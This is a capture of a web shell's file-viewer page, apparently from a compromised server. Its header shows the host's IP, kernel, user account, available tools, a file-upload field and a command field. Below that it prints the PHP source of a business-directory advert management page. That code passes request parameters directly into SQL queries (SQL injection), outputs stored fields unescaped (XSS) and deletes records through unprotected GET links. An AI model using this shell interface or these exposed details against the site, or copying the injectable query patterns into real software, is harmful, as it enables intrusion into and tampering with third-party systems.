403Webshell
Server IP : 51.89.169.208  /  Your IP : 3.135.190.163
Web Server : Apache
System : Linux ns3209505.ip-198-244-202.eu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : yellowleaf ( 1019)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/yellowleaf/public_html/members/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yellowleaf/public_html/members/manage.html
<? require('../connect.php');
include "accesscontrol.php";
$adid=$_GET['adid'];
$ad_del=$_GET['ad_del'];

// css for menu
$styleManage = 'color:#ff6131;background-color:#fff;border-top:1px solid #c9c9c9;font-weight:bold;';
/////////////////////DELETE ADVERT///////////////////////
////////////////////////////////////////////////////////////
if(!empty($ad_del)){
	// deleting ad
	$q6 = "DELETE FROM ads WHERE adid='{$adid}' AND memberid ='{$memberid}'";
	$r6 = mysql_query($q6) or die(mysql_error());

	// deleting associating photos to ad
	for($p=1; $p<=4; $p++){
		$file = 'uploads/'.$p.'/'.$adid.'_'.$p.'.jpg'; // name of file
		if (file_exists($file)) {
			unlink($file);
		}
	}
	// deleting logo
	$logo_file= 'uploads/logo/'.$adid.'.jpg'; // name of file
	if (file_exists($logo_file)) {
			unlink($logo_file);
	}
	$message = 'Your Ad has been successfully deleted.';
}

?>
<!DOCTYPE html>
<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>YellowLeaf UK</title>
<link href="style.css" rel="stylesheet" type="text/css">
<script src="js/js.js"></script>
<script>

function showic(id){
document.getElementById('actDv_'+id).style.display='';
}

function hideic(id){
document.getElementById('actDv_'+id).style.display='none';
}

</script>
<style>
.actIco{position:absolute;background:#fff;border:2px solid #ccc;top:10pxleft:10px;padding:10px;width:200px;}
.mlist{border-top:1px solid #dcdcdc;border-left:1px solid #dcdcdc;border-bottom:1px solid #bdbdbd;border-right:1px solid #bdbdbd;}
.mlist td{padding:15px;}
.infoBarDv{background:#f7f7f7;padding:7px;float:left;}
.infoBarDv a{color:#555;padding:7px 15px;}
.infoBarDv a:hover{background-color:#4D96E6;color: white;}
.infoBarDv a:active{background-color:#5b87b7;}
.stIncmp{margin-top:15px;background:#fff9e4;border:1px solid #dcdcdc;padding:5px 10px;;color:#444;font-weight:bold;text-align:center;}
.stIncmp div{font-weight:bold;margin-bottom:3px;}
</style>
</head>

<body>

<? include 'header.php'; ?>
<table class="tbwdth">
	<tr>
		<td valign="top" style="width:210px;">
		<? include 'member_menu.php'; ?>
		</td>
		<td valign="top" class="cnGrad">
			<?		
			//////////////////////////////////
			///////// ADVERT COUNT ///////////		
			$x = "SELECT adid, COUNT(*) FROM ads WHERE memberid = '{$memberid}' GROUP BY adid";
			$result = mysql_query($x) or die(mysql_error());
			$total_rows = mysql_num_rows($result); 
			$row = mysql_fetch_row($result); 
			?> 
			<a class="blueBtn fancyBtn" style="color:#fff;" href="postad1.html">Submit Advert</a>
			<div class="cnHead" style="margin:0px;">Manage Advert</div>
			<div style="font-size:12pt;color:#666;margin:4px 0px 40px">You currently have <?=$total_rows?> Advert(s) advertised.</div>			
			<?
			
			//////////////////////////////////
			///////// DELETE MESSAGE /////////
			if(!empty($message)){
				echo '<div class="successDvBx">'.$message.'</div>';
			}
			
			//////////////////////////////////
			////////// ADVERT SQL ////////////	
			$ads_sql = mysql_query("SELECT * FROM ads where memberid ='{$memberid}' order by adid desc");
			$adCounter=1; // counter for the info box
			
			//////////////////////////////////
			///////// STEPS BOX FUNC /////////	
			function stepBox($stepNo,$step_adid){
				if($stepNo!=4){
					echo '<div class="stIncmp"><div>Click below to edit</div><a href="edit_'.$stepNo.'.html?adid='.$step_adid.'">Step '.$stepNo.' Incomplete</a></div>';
				}else{
					echo '<div class="stIncmp"><div>Click below to edit</div><a href="edit_'.$stepNo.'.html?adid='.$step_adid.'">This advert has no photos.</a></div>';
				}
			}
			
			//////////////////////////////////
			//////// ADVERTS DISPLAY /////////	
			while($ads_row = mysql_fetch_array($ads_sql)) { 
			?>
			<div style="margin-bottom:60px;">
			<table class="mlist" width="100%">
				<tr>
					<td width="120" valign="middle" style="text-align:center;">
					<?
					if($ads_row['image']!=''){
						echo '<img width="100" src="uploads/logo/'.$ads_row['adid'].'.jpg">';
					}else{
						echo '<img style="border:1px solid #d1d1d1;" src="/img/unavail_thumb.png">';
					}
					?>
					</td>
					<td valign="top" style="padding-left:0px">
					<!-- Business Name -->
					<div style="font-size:16pt;color:#555;"><?=$ads_row['companyname']?></div>
					<!-- Address -->
					<div style="color:#577ad9"><?=$ads_row['address']?> <?=$ads_row['postcode']?></div>
					<!-- Description -->
					<div style="margin:10px 0px;color:#666;">
						<?
						$lngth = 100;
						$subDesc=substr($ads_row['description'],0,$lngth);
						if(strlen($str)<$lngth){echo $subDesc.'...';
						}else{$ads_row['description'];}					
						?>
					</div>
					</td>
					<td width="150" valign="top">
					<!-- Advert Active -->
					<?
					if($ads_row['decline']=='0'){
					if($ads_row['active']=='1'){$act_status="Active";$act_src="dot_green.png";$act_msg = 'Your advert is currently active on YellowLeaf.';
					}else{$act_src="dot_red.png";$act_status="Not Active";$act_msg = 'Your advert has yet to be verified by a YellowLeaf staff member.';}?>
					<div style="position:relative;text-align:right;font-weight:bold;margin-bottom:25px" onmouseover="showic(<?=$ads_row['adid']?>)" onmouseout="hideic(<?=$ads_row['adid']?>)">
						<?=$act_status?> <img style="margin-left:5px;float:right;" src="/img/<?=$act_src?>">
						<div id="actDv_<?=$ads_row['adid']?>" style="display:none;text-align:center;" class="sideShad actIco"><?=$act_msg?></div>
					</div>
					
					<!-- Complete -->
					<div style="text-align:center;color:#666;">
						<?if($ads_row['completed']!='1'){echo 'Your advert is still incomplete.<br>';}?>
					</div>
					
					<!-- Steps -->
					<?
					$st2=FALSE;
					$st3=FALSE;
						// checking step 2
						if($ads_row['description']==''){echo stepBox(2,$ads_row['adid']);$st2=TRUE;}
						// checking step 3
						$qstep3 = mysql_query("SELECT * FROM opening_hours WHERE opadid='{$ads_row['adid']}' LIMIT 1");
						$row_step3 = mysql_num_rows($qstep3);
						if($row_step3<1&&$st2==FALSE){echo stepBox(3,$ads_row['adid']);$st3=TRUE;}
						// checking step 4
						if($st2==FALSE&&$st3==FALSE){
							// counting how many photos the ad has
							$pic_count=0;
							$photos=array($ads_row['photo_1'],$ads_row['photo_2'],$ads_row['photo_3'],$ads_row['photo_4']);
							foreach($photos as $photo){if($photo!='0'){$pic_count++;}}	
							// if no photos show message
							if($pic_count<1){echo stepBox(4,$ads_row['adid']);}
						}
						
					}elseif($ads_row['decline']=='1'){
						echo '<div style="text-align:center;font-weight:bold;color:red;font-size:11pt;">This advert has been declined.</div>';
					}
					?>
					</td>
				</tr>
			</table>
			<?
			$company_name_url=strtolower($ads_row['companyname']);
			$company_name_url=str_replace(" ","-",$company_name_url);
			?>
			<div class="infoBarDv" id="infoBar_<?=$adCounter?>">
				<a target="_blank" href="/pages/<?=$ads_row['adid']?>-<?=$company_name_url?>.html">View Ad</a>
				<a href="edit_1.html?adid=<?=$ads_row['adid']?>">Edit Ad</a>
				<a href="manage.html?ad_del=yes&adid=<?=$ads_row['adid']?>" onclick="return confirm('By deleting this Advert you indicate that this business is now closed. This listing will now be deleted.');">Delete Ad</a>
				<a style="border-left:1px solid #d0d0d0;" href="promo.html?adid=<?=$ads_row['adid']?>">Promotions</a>
				<a href="review.html?adid=<?=$ads_row['adid']?>">Reviews</a>
			</div>
			</div>
			<?$adCounter++;
			} /// LOOP END
			?>
		</td>
	</tr>
</table>
<? include 'footer.php'; ?>

</body>

</html>

Youez - 2016 - github.com/yon3zu
LinuXploit